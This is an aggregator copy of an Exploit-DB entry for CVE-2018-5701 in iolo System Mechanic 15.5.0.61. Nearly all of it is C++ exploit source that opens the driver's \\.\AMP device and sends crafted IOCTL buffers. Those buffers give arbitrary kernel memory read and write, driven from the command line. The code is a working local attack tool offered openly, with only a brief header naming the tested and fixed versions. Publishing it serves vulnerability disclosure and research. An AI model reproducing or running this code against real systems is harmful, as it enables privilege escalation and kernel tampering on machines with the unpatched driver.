4

[local] System Mechanic v15.5.0.61 - Arbitrary Read/Write

 1 year ago
source link: https://www.exploit-db.com/exploits/51044
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

System Mechanic v15.5.0.61 - Arbitrary Read/Write

EDB-ID:

51044

EDB Verified:


Exploit:

  /  

Platform:

Windows

Date:

2023-03-25

Vulnerable App:

/*
# Exploit Title: System Mechanic v15.5.0.61 - Arbitrary Read/Write
# Date: 26-09-2022
# Exploit Author: Brandon Marshall
# Vendor Homepage: https://www.iolo.com/
# Tested Version   - System Mechanic version 15.5.0.61
# Driver Version   - 5.4.11 - amp.sys
# Tested on OS     - 64 bit Windows 10 (18362)
# Fixed Version    - System Mechanic 17.5.0.116
# CVE : CVE-2018-5701
*/

#include <iostream>
#include <Windows.h>
#include <psapi.h>
#include <stdio.h>
#pragma warning(disable:4996)

typedef struct _kernelDriverInformation {
    char* imageName;
    void* imageBase;

}kernelDriverInformation, * PKernelDriverInformation;

typedef struct _functionInformation {
    char* functionName;
    void* functionOffset;
    void* functionBase;

}functionInformation, * PFunctionInformation;

void callDeviceIoControl(HANDLE deviceHandle, void* inputBuffer, DWORD inputBufferSize) {
    DWORD bytesReturned;
    NTSTATUS  status = DeviceIoControl(deviceHandle, 0x226003, inputBuffer, inputBufferSize, NULL, NULL, (LPDWORD)&bytesReturned, (LPOVERLAPPED)NULL);
}

HANDLE getDeviceHandle(char* name) {
    DWORD generic_read = 0x80000000;
    DWORD generic_write = 0x40000000;
    HANDLE handle = CreateFileA((LPCSTR)name, GENERIC_READ | generic_write, NULL, NULL, 0x3, NULL, NULL);
    return handle;
}



void* CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(void* addressToDereference, SIZE_T bufferSize) {
    byte* maliciousBuffer = (byte*)malloc(bufferSize);
    *(ULONGLONG*)maliciousBuffer = (ULONGLONG)5;   //   funciton pointer, this will be 5
    *(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer);   pointer to parameters
    *(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1);  pointer to write return value
    *(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown
    *(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16;  // this will be 16
    *(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)0;  // param2
    *(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)addressToDereference; // param3
    *(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)0;  // param4
    return (void*)maliciousBuffer;
}

void* CreateReadDWORDFromKernelMemoryLeakIOCTLBuffer(SIZE_T bufferSize) {
    byte* maliciousBuffer = (byte*)malloc(bufferSize);
    *(ULONGLONG*)maliciousBuffer = (ULONGLONG)5;   //   funciton pointer, this will be 5
    *(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer);   pointer to parameters
    *(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1);  pointer to write return value
    *(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown
    *(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16;  // this will be 16
    *(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)2;  // param2
    *(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)(maliciousBuffer + 0x40); // param3 
    *(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)(maliciousBuffer + 0x48);  // param4
    *(ULONGLONG*)(maliciousBuffer + 0x40) = (ULONGLONG)0;  //unknown
    *(ULONGLONG*)(maliciousBuffer + 0x48) = 0xffffffff; // param1
    return (void*)maliciousBuffer;
}

void* CreateWriteDWORDFromKernelMemoryIOCTLBuffer(void* addressToWriteTo, SIZE_T bufferSize) {
    byte* maliciousBuffer = (byte*)malloc(bufferSize);
    *(ULONGLONG*)maliciousBuffer = (ULONGLONG)5;   //   funciton pointer, this will be 5
    *(ULONGLONG*)(maliciousBuffer + 0x8) = (ULONGLONG)(maliciousBuffer + 0x20); //(maliciousBuffer);   pointer to parameters
    *(ULONGLONG*)(maliciousBuffer + 0x10) = (ULONGLONG)(maliciousBuffer + 0x10); //(maliciousBuffer + 0x20);// (0x1);  pointer to write return value
    *(ULONGLONG*)(maliciousBuffer + 0x18) = (ULONGLONG)0;//(ULONGLONG)(maliciousBuffer + 0x40); // unknown
    *(ULONGLONG*)(maliciousBuffer + 0x20) = (ULONGLONG)16;  // this will be 16
    *(ULONGLONG*)(maliciousBuffer + 0x28) = (ULONGLONG)2;  // param2
    *(ULONGLONG*)(maliciousBuffer + 0x30) = (ULONGLONG)addressToWriteTo; // param3 
    *(ULONGLONG*)(maliciousBuffer + 0x38) = (ULONGLONG)(maliciousBuffer + 0x40);  // param4
    *(ULONGLONG*)(maliciousBuffer + 0x40) = (ULONGLONG)0xffffffff;
    return (void*)maliciousBuffer;
}

DWORD leakDWORD(void* addressToLeak, HANDLE deviceHandle, SIZE_T bufferSize) {
    void* writeAddresInAMPsKernelMemoryIOCTLBuffer = CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(addressToLeak, bufferSize);
    callDeviceIoControl(deviceHandle, writeAddresInAMPsKernelMemoryIOCTLBuffer, bufferSize);
    free(writeAddresInAMPsKernelMemoryIOCTLBuffer);
    //address should now be written in kernel memory
    void* ReadDWORDFromKernelMemoryLeakIOCTLBuffer = CreateReadDWORDFromKernelMemoryLeakIOCTLBuffer(bufferSize);
    callDeviceIoControl(deviceHandle, ReadDWORDFromKernelMemoryLeakIOCTLBuffer, bufferSize);
    DWORD returnVal = *(DWORD*)((byte*)ReadDWORDFromKernelMemoryLeakIOCTLBuffer + 0x40);
    free(ReadDWORDFromKernelMemoryLeakIOCTLBuffer);

    return returnVal;
}

void writeDWORD(void* addressToWrite, void* PDWORDToWrite, HANDLE deviceHandle, SIZE_T bufferSize) {
    void* writeAddresInAMPsKernelMemoryIOCTLBuffer = CreateWriteAddresInAMPsKernelMemoryIOCTLBuffer(PDWORDToWrite, bufferSize);
    callDeviceIoControl(deviceHandle, writeAddresInAMPsKernelMemoryIOCTLBuffer, bufferSize);
    free(writeAddresInAMPsKernelMemoryIOCTLBuffer);
    //address should now be written in kernel memory
    void* ReadDWORDFromKernelMemoryLeakIOCTLBuffer = CreateWriteDWORDFromKernelMemoryIOCTLBuffer(addressToWrite,bufferSize);
    callDeviceIoControl(deviceHandle, ReadDWORDFromKernelMemoryLeakIOCTLBuffer, bufferSize);
    free(ReadDWORDFromKernelMemoryLeakIOCTLBuffer);

    return;
}

void* leakQWORD(void* addressToLeak, HANDLE deviceHandle, SIZE_T bufferSize) {

    DWORD firstDWORD = leakDWORD(addressToLeak, deviceHandle, bufferSize);
    DWORD secondDWORD = leakDWORD((byte*)addressToLeak + 0x4, deviceHandle, bufferSize);

    void** Pqword = (void**)malloc(0x8);

    for (int i = 0; i < 4; i++) {
        ((byte*)Pqword)[i] = ((byte*)&firstDWORD)[i];
        ((byte*)Pqword)[i + 4] = ((byte*)&secondDWORD)[i];
    }

    return (*(void**)Pqword);
}

void writeQWORD(void* addressToWrite, void* QWORDToWrite, HANDLE deviceHandle, SIZE_T bufferSize) {


    writeDWORD(addressToWrite, QWORDToWrite, deviceHandle, bufferSize);
    writeDWORD((byte*)addressToWrite + 0x4, ((byte*)QWORDToWrite + 0x4), deviceHandle, bufferSize);

}

int main(int argc, char* argv[])
{

    ULONGLONG addressToReadorWrite = strtoull(argv[2], NULL, 16);

    HANDLE deviceHandle = getDeviceHandle((char*)"\\\\.\\AMP");

    SIZE_T size = 0x300;

    if (strcmp(argv[1], "read") == 0) {


        void* leakedQWORD = leakQWORD((void*)addressToReadorWrite, deviceHandle, size);



        printf("Value stored at virtual address %0llx is %0llx", addressToReadorWrite, leakedQWORD);
    }
    else if (strcmp(argv[1], "write") == 0) {

        ULONGLONG QWORDToWrite = strtoull(argv[3], NULL, 16);


        writeQWORD((void*)addressToReadorWrite, (void*)&QWORDToWrite, deviceHandle, size);



        printf("Wrote  %0llx to virtual address %0llx", QWORDToWrite, addressToReadorWrite);
    }

}
            

About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK